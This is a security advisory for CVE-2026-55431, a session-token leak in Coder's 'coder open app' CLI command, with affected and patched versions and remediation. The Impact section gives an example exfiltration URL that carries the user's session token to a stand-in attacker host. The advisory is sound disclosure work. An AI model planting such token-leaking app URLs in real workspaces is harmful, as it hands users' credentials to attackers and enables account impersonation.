---
id: CVE-2026-55431
aliases:
  - GHSA-v54h-cp2w-9x4g
title: >-
  Coder's session token leaked to arbitrary hosts via `coder open app` for
  external workspace apps
summary: >-
  Coder's session token leaked to arbitrary hosts via `coder open app` for
  external workspace apps
severity: high
cvss: 7.7
cwe:
  - CWE-522
  - CWE-601
vendor: coder
product: github.com/coder/coder/v2
ecosystem: go
affected:
  - 'github.com/coder/coder/v2 >= 2.34.0, < 2.34.2'
  - 'github.com/coder/coder/v2 >= 2.33.0, < 2.33.8'
  - 'github.com/coder/coder/v2 >= 2.30.0, < 2.32.7'
  - github.com/coder/coder/v2 < 2.29.17
patched:
  - github.com/coder/coder/v2 2.34.2
  - github.com/coder/coder/v2 2.33.8
  - github.com/coder/coder/v2 2.32.7
  - github.com/coder/coder/v2 2.29.17
published: '2026-07-06'
updated: '2026-07-06'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-v54h-cp2w-9x4g'
references:
  - url: 'https://github.com/coder/coder/security/advisories/GHSA-v54h-cp2w-9x4g'
  - url: 'https://github.com/coder/coder/pull/26146'
  - url: 'https://github.com/advisories/GHSA-v54h-cp2w-9x4g'
tags:
  - ghsa
  - go
ingestedAt: '2026-07-06T21:45:52.959Z'
epss: 0.00336
epssPercentile: 0.2704
---

## Overview

### Summary

`coder open app` opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the `$SESSION_TOKEN` placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler.

> **Note:** Practical exploitation requires the victim to run `coder open app` against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs.

### Impact

Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like `https://attacker.example/?t=$SESSION_TOKEN`. Running `coder open app` then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run `coder open app` against a workspace that contains a malicious external app.

### Patches

The fix applies a URL-scheme allowlist in the CLI and limits `$SESSION_TOKEN` substitution to trusted destinations like the web frontend.

The fix was backported to all supported release lines:

| Release line | Patched version |
|---|---|
| 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) |
| 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) |
| 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) |
| 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) |

### Workarounds

Avoid running `coder open app` for untrusted workspaces.

### Resources

- Fix: #26146

### Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!

## Affected packages

- `github.com/coder/coder/v2 >= 2.34.0, < 2.34.2`
- `github.com/coder/coder/v2 >= 2.33.0, < 2.33.8`
- `github.com/coder/coder/v2 >= 2.30.0, < 2.32.7`
- `github.com/coder/coder/v2 < 2.29.17`

## Remediation

Upgrade to a patched release:

- `github.com/coder/coder/v2 2.34.2`
- `github.com/coder/coder/v2 2.33.8`
- `github.com/coder/coder/v2 2.32.7`
- `github.com/coder/coder/v2 2.29.17`
